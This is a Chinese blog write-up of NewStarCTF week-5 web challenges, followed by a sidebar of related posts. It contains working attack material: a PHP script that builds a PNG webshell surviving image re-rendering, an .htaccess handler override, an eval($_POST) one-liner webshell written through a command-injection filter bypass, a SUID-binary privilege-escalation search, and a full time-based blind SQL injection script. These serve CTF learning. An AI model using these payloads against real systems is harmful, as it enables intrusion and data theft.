NewStarCTF week5 web wp

NewStarCTF 公开赛赛道 week5|web wp NewStarCTF 公开赛赛道 第五周 web wp 阅读详情

Give me your photo PLZ

进去后看内容
在这里插入图片描述
看这个文字意思应该是考的二次渲染

贴个利用代码
制作二次渲染后不会被修改的图片马
其实还可以自己比对哪块地方被修改了,然后插到没被修改的里面就行

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

http://1259b0a2-331e-4b4a-8335-f7278c7154b7.node4.buuoj.cn:81/upload/1.png
上传上去后,然后想了想 穿个.htaccess吧
内容是
AddType application/x-httpd-php .png
然后就可以了
在这里插入图片描述挺感动的
在这里插入图片描述在这里插入图片描述

Unsafe Apache

apache搜到一个cve 2021 42013
在这里插入图片描述
在这里插入图片描述调用cgi然后执行系统命令
在这里插入图片描述

So Baby RCE Again

<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/bash|curl/i',$_GET["cmd"])){
        echo "Hacker!";
    }else{
        shell_exec($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

题目给出的代码
shell_exec没有回显 禁了curl和反弹shell 我当时看了看感觉有点2
我为啥不直接重新写一个shell0.0
echo ‘<?php eval($_POST[a]);?>’ > 2.php
在这里插入图片描述在这里插入图片描述
没有权限提个权
先找找有root权限的命令
find /bin -perm -u=s -type f 2>/dev/null
在这里插入图片描述
有个date直接用
在这里插入图片描述

BabySSTI_Three

我一开始是想慢慢拆解的,可以看week3的那篇博客但是 我payload直接就打进去了,用的就是之前的payload
空格被禁了用${IFS}绕过
在这里插入图片描述
payload:
在这里插入图片描述

Final round

简单测试了一下发现可以盲注
直接贴我当时写的脚本吧
跑的时候是凭感觉了 感觉最后应该是flag放在最后面于是就reverse去读了
还真是这样逆一下就行了

import requests
import time

url='http://adfa764a-76cf-4c94-837c-dd43a80935b6.node4.buuoj.cn:81/comments.php'


def baoku():
    res = ''
    for i in range(1, 100):
        left = 32
        right = 128
        mid = (left + right) // 2
        while (left < right):
            payload = {
                'name':'3123||if(ascii(substr(database(),%d,1))<%d,sleep(0.3),0)'%(i,mid)
            }

            times=time.time()
            t = requests.post(url,data=payload)
            timee=time.time()
            keep=timee-times
            time.sleep(0.2)
            if keep>3:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2

        if mid <= 32 or mid >= 127:
            break
        res += chr(mid - 1)
        print(res)



def baobiao():
    res = ''
    for i in range(1, 100):
        left = 32
        right = 128
        mid = (left + right) // 2
        while (left < right):
            payload = {
                'name': '3123||if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d,sleep(0.3),0)' % (i, mid)
            }
            print(payload)
            times = time.time()
            t = requests.post(url, data=payload)
            timee = time.time()
            keep = timee - times
            time.sleep(0.2)
            if keep > 3:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2

        if mid <= 32 or mid >= 127:
            break
        res += chr(mid - 1)
        print(res)
def baoduan():
    res = ''
    for i in range(1, 100):
        left = 32
        right = 128
        mid = (left + right) // 2
        while (left < right):
            payload = {
                'name': '3123||if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="wfy_information")),%d,1))<%d,sleep(0.1),0)' % (i, mid)
            }
            print(payload)
            times = time.time()
            t = requests.post(url, data=payload)
            timee = time.time()
            keep = timee - times
            time.sleep(0.2)
            if keep > 1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2

        if mid <= 32 or mid >= 127:
            break
        res += chr(mid - 1)
        print(res)
def baozhi():
    res = ''
    for i in range(1, 100):
        left = 32
        right = 128
        mid = (left + right) // 2
        while (left < right):
            payload = {
                'name': '3123||if(ascii(substr((select(reverse(group_concat(text)))from(wfy_comments)),%d,1))<%d,sleep(0.2),0)' % (i, mid)
            }
            print(payload)
            times = time.time()
            t = requests.post(url, data=payload)
            timee = time.time()
            keep = timee - times
            time.sleep(0.2)
            if keep > 2:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2

        if mid <= 32 or mid >= 127:
            break
        res += chr(mid - 1)
        print(res)
baozhi()

其实写的有点冗余了,但是我都这么写了因为懒得删0.0
然后得到后
flag[::-1]就可以啦
在这里插入图片描述在这里插入图片描述

题目质量可以也是比较符合NewStarCTF 祝各位安全学习者从业者能在接下来的道路上一帆风顺!!
(高兴一下哈哈最后排名结算是30多名这个比赛感觉还挺好,主要本来还想练一下misc的但是都忘记写misc的题了不然感觉应该排名还能冲一冲)

Newstarctf week5逆向wp NewStarCTF的week5逆向wp 阅读详情

相关推荐

[wp]NewStarCTF 2023 WEEK3|WEB

本文为NewStarCTF 2023 WEEK3|WEB部分题解内容 只记录自己学习的过程,各位师傅可参考指出问题

m0_63138919的博客 5049

BUUCTF NewStarCTF 公开赛赛道Week5 Writeup

简单的盲注流量分析当响应包的长度>765时,该条查询语句正确,tshark导出查询语句和查询正确的判断条件(包长度)Python简单处理。

末初 · mochu7 4674

[wp]NewStarCTF 2023 WEEK1|WEB

本文为NewStarCTF 2023 web 的解题思路过程解法

m0_63138919的博客 3478

NewStarCTF 2023 week5--web

比如别人读取的文件, 应该是要有个docker然后再是后面的数字啊, 有点懵,感觉应该是环境变了。却没有反应,啥也没有,不知道为啥,看别人的博客应该是可以的。不管前面的反序列化,直接利用 php://input ,猜测路径为var/www/html。不晓得为啥1.php就是无法执行命令, 蚁剑也连不上,可能哪里出问题了 哎,太菜了。网上搜到的一个, 但是用不了,可能具体的版本不一样,尝试使它报错,得到具体的版本情况。离谱了,之前都还行,现在环境又不行了 , 一样的参数, 我真服了, 重启也不行。

pwfortune的博客 1598

WinCC与PLC在西门子逻辑赛项中的通信配置避坑指南

本文针对西门子逻辑赛项中WinCC与PLC通信配置的常见问题,提供了一套实战避坑指南。重点解析了WinCC、PLC与EET仿真平台的三角通信架构,强调了IP地址规划、防火墙设置等关键环节的注意事项,并给出了系统化的故障诊断流程与排查技巧,帮助选手和技术人员快速定位并解决通信故障,确保监控系统稳定运行。

weixin_29165725的博客 108

医学图像处理(一)使用U-Net进行MRI的肝脏分割

医学图像处理(一)使用U-Net进行MRI的肝脏分割数据集搜集训练集和测试集划分问题一: 测试集不包括GroundTruth问题二:T1和T2的数据能一起训练吗?问题三: T1的图像在文件夹中分成了InPhase和OutPhase,这个有什么区别?分离出肝脏将dicom文件转换为png格式数据增强U-net网络搭建自定义DatasetMain.py实验结果总结 图像分割小白一枚,之前接到一个MRI图像肝脏分割的任务。对于医学图像分割,第一想到的就是Unet. Unet在2015的MICCAI上首次提出,在医

qq_34003876的博客 2万+

NewStarCTF2024-Week5-Web&Misc-WP

通过把 time 赋值为 happy 对象,将对象当做字符串就会触发 __tostring 魔术方法,转而继续执行 get_flag 函数,进入一个循环。但是文件传上去了怎么执行呢,文件是不会自己执行的,而且是 python 写的网站,我们 php 传上去也根本解析不了。这一步也是折腾了很久,一开始试了 /bin/ls,/usr/bin/ls,发现都会让环境崩掉。这里有个注释符,一开始想的是闭合再插入新的 php 语句,试了下没成功,采用换行符绕过。

Welcome To My6n Blog 2234

IMDb影评数据集:从下载到情感分析实战指南

本文提供了IMDb影评数据集从下载、探索到情感分析建模的完整实战指南。详细介绍了数据预处理、TF-IDF向量化方法,并对比了逻辑回归、随机森林、SVM及LSTM深度学习模型在情感分析任务上的应用与效果评估,帮助读者系统掌握自然语言处理的核心流程。

weixin_29052717的博客 450

[wp]NewStarCTF 2023 WEEK5|WEB

本文为NewStarCTF 2023 公开赛道 week5 web题题解和复现 记录本人学习过程 师傅有无内胎可以提出来 一起交流进步

m0_63138919的博客 1115

Axure原型模板与元件库APP交互设计素材(附资料)

在Axure中,手机模型是展示APP或小程序界面效果的重要工具。通过导入手机模型元件,设计师可以更加直观地模拟真实设备的显示效果,从而更准确地评估设计的可行性和用户体验。Axure官方及第三方资源库中提供了多种品牌和型号的手机模型,如iPhone、Android等,设计师可以根据项目需求选择合适的模型进行使用。Axure作为一款强大的原型设计工具,为APP和小程序的设计与开发提供了丰富的界面组件元件库和交互设计素材。

招风的黑耳优快云 1981

Nvidia Orin Driveos Camera 介绍及调试详解

自动驾驶-nvidia orin driveos Camera 驱动详解及调试

u011803281的博客 2992

NewStarCTF week3 WP

ida打开,scanf溢出了,但是只能输入整数,又开启了Canary保护,这该如何是好呢?突发奇想,scanf读到非数字就不读了,非数字仍然留在输入缓冲区,导致后面的都读不了,加入我输入负号呢,scanf本来以为是负数,就把负号读了,结果后面全是负号怎么办,那只能报错了,可是前面读了的负号已经从缓冲区移出去了呀!导入ida打开,看不懂,好在题目给了提示,ida下载d810的插件,解混淆之后虽然还有点抽象,但是能看懂一点了大概就是输入v10,判断函数sub_3B30的返回值是否正确。

weixin_73924291的博客 760

PCIE的MSI中断处理机制与优化策略

PCIe设备的。

xiaoheshang_123的博客 519

NewStarCTF2024-Week4-Web-WP

打算去改上周的脚本,结果去跑的时候忘了将上次的最后 payload 注释,直接就上周的脚本就跑出来 flag 了,week3 应该是打算考布尔盲注,week4 是时间盲注,所以直接就都打通了。最后 final.php 是一个反序列化的利用,一开始还想绕过过滤的 chocolate,后面发现不需要绕过,并且 url 编码后传入不行,直接传序列化后的内容。又看到另一个下载插件路径可控的,但是插件管理里面并没有看到可以下载插件的地方, 手动构造一下,但是似乎出不了网...

Welcome To My6n Blog 2657

推荐一个直接用于项目开发的PID库!很好用,很稳定

关注、星标公众号,不错过精彩内容大家好,我是小麦。最近有朋友问到有没有现成的C语言PID库。当然有了!现在我就准备给大家安利一下了。一般同学会去某度上搜,看到各种各样版本的PID示例,或者...

一名热爱技术的工程师的博客。分享技术干货,记录美好生活。永远相信美好的事情即将发生。 9028

HBV模型

据说mHM模型也是基于HBV模型原理。 网上不同版本的HBV模型稍有差别 def hbv_main(n_days, params, air_temp, prec, dpem): #n_days 模拟天数 #air_temp 每月温度 #prec 降水 #dpem 每月蒸发 Tsnow_thresh = 0.0 ca = 410. # Initialize arrays for the simiulation snow = np.zeros(air_temp.size

m0_46268055的博客 2332

BUUCTF NewStarCTF 2023 WEB题week2WP

首先发现文件扩展名过滤很严格,各种绕过基本都不行,同时题目还对文件内容进行检测,选择使用这种一句话木马<script language="php">@eval($_POST['cmd']);首先页面上说找信息,所以dirsearch一下,发现有git泄露,使用GitHack工具获取源码,发现一个bo0g1pop.php。可以直接搜索score,发现gameScore,可能就是我们要找的那个可修改的参数,然后在控制台中修改。访问上传路径,发现php语言被解析了,大概率是成功了,AHs和AH0是flag的{}

xinlvluxiangyu的博客 690

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

NewStarCTF week2 WP

攻击思路就是利用好for的三次循环,第一次循环%order$p读取puts函数的got表项,进而得到libc的基地址,第二次循环利用libc的基地址得到system的真实地址,并%order$n写入到memset的got表项,第三次循环向buf写入字符串"/bin/sh",然后调用memset实际是调用shell。发现每次输入存在buf里的时候是向栈地址增大的时候存的,这样虽然无法覆盖main,但是会把read函数的返回地址覆盖,于是payload=b'a'*256+ret_addr。

weixin_73924291的博客 1943

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

NewstarCTF 2023 misc&web wp

NewstarCTF 2023 misc&web 部分wp

Nanian233的博客 9209

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

2023Newstar-week1-web -wp

得到password=114514,接下来要解决e_v.a.l,根据官方wp解释,这时候如果直接按这个变量名来传参,php 是⽆法接收到这个值的,具体原因是 php 会⾃动把⼀些不合法的字符转化为下划线(注:php8以下),⽐如这个点就会被转换为下划线,另外这种转换只会发⽣⼀次。这里第一关,get提交的key1与key2不同,但md5哈希值相同,这里我用的是数组绕过,当传入数组,md5值都为NULL,实现相等。

2301_80915592的博客 1254

2023 NewStarCTF --- wp

【活着得,怎么就轻松惬意了,无需愧疚。】

3tefanie的博客 4475

NewStarCTF2024-week1-wp

原文链接:https://www.n0o0b.com/archives/newstarctf2024-week1-wp。

2303_79553403的博客 2982

NewStarCTF2024-Week2-Web-WP

在 PHP8 之前,如果参数中出现中括号[,那么中括号会被转换成下划线_,但是会出现转换错误,导致如果参数名后面还存在非法字符,则不会继续转换成下划线。也就是说,我们可以刻意拼接中括号制造这种错误,来保留后面的非法字符不被替换,因为中括号导致只会替换一次。顺便说下这里回溯绕过和数组绕过都是不行的,回溯一般用于匹配不到的情况,这里是要求匹配成功,其次我传了下服务器直接处理不了,数组的话也是一般用于匹配不到,因为 preg_match 处理不了数组会直接返回 false,显然这里需要的是返回 true。

Welcome To My6n Blog 2186

NewStarCTF 2022 web方向题解 wp

NewStarCTF 2022 web方向题解 wp

Jay17的博客 3641

BUUCTF NewStarCTF 2023 WEB题week1WP

题目中意思为密码md5加密后前六位为c4d038,所以上面是脚本,爆破出密码为114514.源码发现base64编码,解码得到post中secret的参数。上传发现不容许上传php,然后禁用前端js,发现上传成功。首先弱密码爆破,admin的密码为000000.Ctrl+c后再ctrl+d,发现要使用burp。然后想到/www.zip,下载之后打开,按要求修改http,得到flag,首先,发现/robots.txt。然后蚁剑连接,得到flag,在页面中发现flag。

xinlvluxiangyu的博客 393

NewStarCTF2024-Week3-Web-WP

使用 data 协议,结合 base64 编码绕过。这道题当时写的 exp 能打通 week3 和 week4 的,所以下周再给大家放出来。审代码的时候发现这句,说明应该是还有一个叫 flag.py 的文件

Welcome To My6n Blog 1855
上一篇: NewStarCTF week 3 web wp
下一篇: 基于一道ctf 引发的 TP链分析
递归 trash can
博客等级 码龄6年 46粉丝 11原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值